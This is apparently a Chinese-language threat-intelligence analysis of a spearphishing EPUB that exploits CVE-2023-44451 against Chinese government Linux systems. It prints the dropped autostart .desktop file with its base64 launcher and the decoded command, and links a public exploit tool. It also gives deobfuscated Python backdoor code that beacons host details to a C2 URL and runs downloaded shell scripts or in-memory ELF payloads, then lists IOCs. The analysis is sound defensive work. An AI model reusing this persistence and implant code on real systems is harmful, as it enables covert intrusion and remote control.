针对我国信创系统的EPUB下载器

邮件附件，邮件内容敏感（略）

利用CVE-2023-44451，详见https://nvd.nist.gov/vuln/detail/CVE-2023-44451

利用工具及EXPhttps://github.com/febinrev/slippy-book-exploit

样本分析

以第一个epub文件为例

利用漏洞创建文件：desktop-service-3752.desktop，构造路径../../../../../proc/self/cwd/../.config/autostart/desktop-service-3752.desktop

该路径下的.desktop文件可以实现开机自启动（持久化）

[Desktop Entry]
Encoding=UTF-8
Type=Application
Terminal=false
Exec=bash -c "echo 'c2V0c3RhdHVzIC1mIGV4ZWN0bCBvZmYgJiYgcHl0aG9uMyAtYyAiaW1wb3J0IHpsaWIsc3lzO2V4ZWMoemxpYi5kZWNvbXByZXNzKG9wZW4oc3lzLmFyZ3ZbMV0sJ3JiJykucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykpIiAuLy5jb25maWcvLkJPRFBmWjVKY0k3cSAzNzUyIHx8IHsgWyAkPyAtZXEgMiBdICYmIHB5dGhvbjMgLWMgImltcG9ydCB6bGliLHN5cztleGVjKHpsaWIuZGVjb21wcmVzcyhvcGVuKHN5cy5hcmd2WzFdLCdyYicpLnJlYWQoKSkuZGVjb2RlKCd1dGYtOCcpKSIgLi8uY29uZmlnLy5CT0RQZlo1SmNJN3EgMzc1MiA7fQ==' | base64 -d | bash " 
Name=dmvsvZj

base64解码

setstatus -f exectl off && python3 -c "import zlib,sys;exec(zlib.decompress(open(sys.argv[1],'rb').read()).decode('utf-8'))" ./.config/.BODPfZ5JcI7q 3752 || { [ $? -eq 2 ] && python3 -c "import zlib,sys;exec(zlib.decompress(open(sys.argv[1],'rb').read()).decode('utf-8'))" ./.config/.BODPfZ5JcI7q 3752 ;}

.BODPfZ5JcI7q文件是一段被压缩过的python脚本，解压后混淆严重，如下图

去混淆后得到部分主体代码如下：

bot_id = 823701
server_url = 'https://einstiensinc.org/results/aat/694986b8e74a'  # C2服务器URL
encryption_key = 'Ywo992mchjuuwns@'  # 加密密钥
user_agent = 'Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108'  # User-Agent
# 使用XOR和SHA256生成最终的加密密钥
key = xor_string_with_key(encryption_key, bot_id)
aes_key = hashlib.sha256(str(encryption_key).encode()).digest()[:(16)]  # 取前16字节作为AES密钥
first_run = 1  # 首次运行标志
while (1): 
    if first_run == (0):
        # 首次运行后，随机延迟(600 * 77~123%)秒
        time.sleep((600) * random.uniform(77, 123) / (100))
    first_run = 0  # 设置为非首次运行     
    # 获取并加密系统信息
    encrypted_info = get_system_info(aes_key, key)
    try:
        # 向C2服务器发送POST请求
        response = requests.post(
            server_url,
            headers={
                'User-Agent': '{}'.format(user_agent),
                'Cookie': 'id={0}'.format(bot_id + (9999)),
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
            },
            data=encrypted_info,
            verify=(0)  # 不验证SSL证书
        )
        # 如果响应无效，继续循环
        if response.status_code != (200) or response.headers['Content-Type'] != 'application/octet-stream' or response.content == None:
            continue
        else:
            # 解密服务器响应内容
            decrypted_content = decrypt_data(response.content, aes_key, key)
    except RequestException as e:
        continue  # 网络请求异常，继续循环 
    # 分叉进程
    child_pid = os.fork()
    if child_pid != (0):  # 父进程
        continue
    # 子进程处理下载的ELF文件
    if decrypted_content.startswith(b'#!'):
        # 如果是shell脚本，直接执行
        subprocess.run(decrypted_content.decode('utf-8'), shell=(1), executable='/bin/bash')
    else:
        # 定义不同架构对应的系统调用号
        machine_types = {
            **dict.fromkeys(['autodetect', 'libc'], -((1)),
            **dict.fromkeys(['386', (3)], (356)),
            **dict.fromkeys(['amd64', (62)], (319)),
            **dict.fromkeys(['arm', (40)], (385)),
            **dict.fromkeys(['arm64', 'riscv64', (183)], (279)),
            **dict.fromkeys(['mips', (8)], (4354)),
            **dict.fromkeys(['mips64', 'mips64le', (8)], (5314)),
            **dict.fromkeys(['ppc', 'ppc64', (20)], (360)),
            **dict.fromkeys(['s390x', (22)], (350)),
            **dict.fromkeys(['sparc64', (2), (18), (43)], (348)))
        }
        # 解析ELF文件头获取机器类型
        elf_machine_type = parse_elf_header(decrypted_content[:(20)])
        
        # 获取对应的系统调用号
        if elf_machine_type !='libc':
            syscall_number = machine_types.get(elf_machine_type)
        else:
            syscall_number = None
        # 构建内存加载器代码
        loader_code = ' '
        loader_code = prepare_loader_code(loader_code, syscall_number)
        loader_code = add_decompression_code(loader_code, decrypted_content)
        loader_code = add_write_code(loader_code, syscall_number)
        loader_code = build_execution_command(loader_code, server_url.split('/')[-(1)])
        # 执行加载器代码，将ELF文件载入内存并执行
        exec(loader_code)
    sys.exit((0))  # 子进程退出

主要功能包括：

• 持久化
• 收集受害主机信息（包括主机名、用户名、操作系统版本等）上传
• 接收shell和根据架构内存加载ELF载荷

方法	收集的信息
socket.gethostname()	主机名
getpass.getuser()	当前用户名
platform.release()	操作系统版本
platform.version()	系统详细版本
platform.machine()	机器硬件架构
platform.libc_ver()	C标准库（libc）版本

IOCs

htt^p://149.62.44.233/controllers/others/e-book/any

htt^p://64.176.185.77/controllers/acq/demo/1

http^s://einstiensinc.org/results/aat/694986b8e74a

总结

鱼叉式邮件攻击，邮件内容极具诱惑性，针对我敏感政府部门，针对信创操作系统。疑似APT组织攻击，内部怀疑为APT32。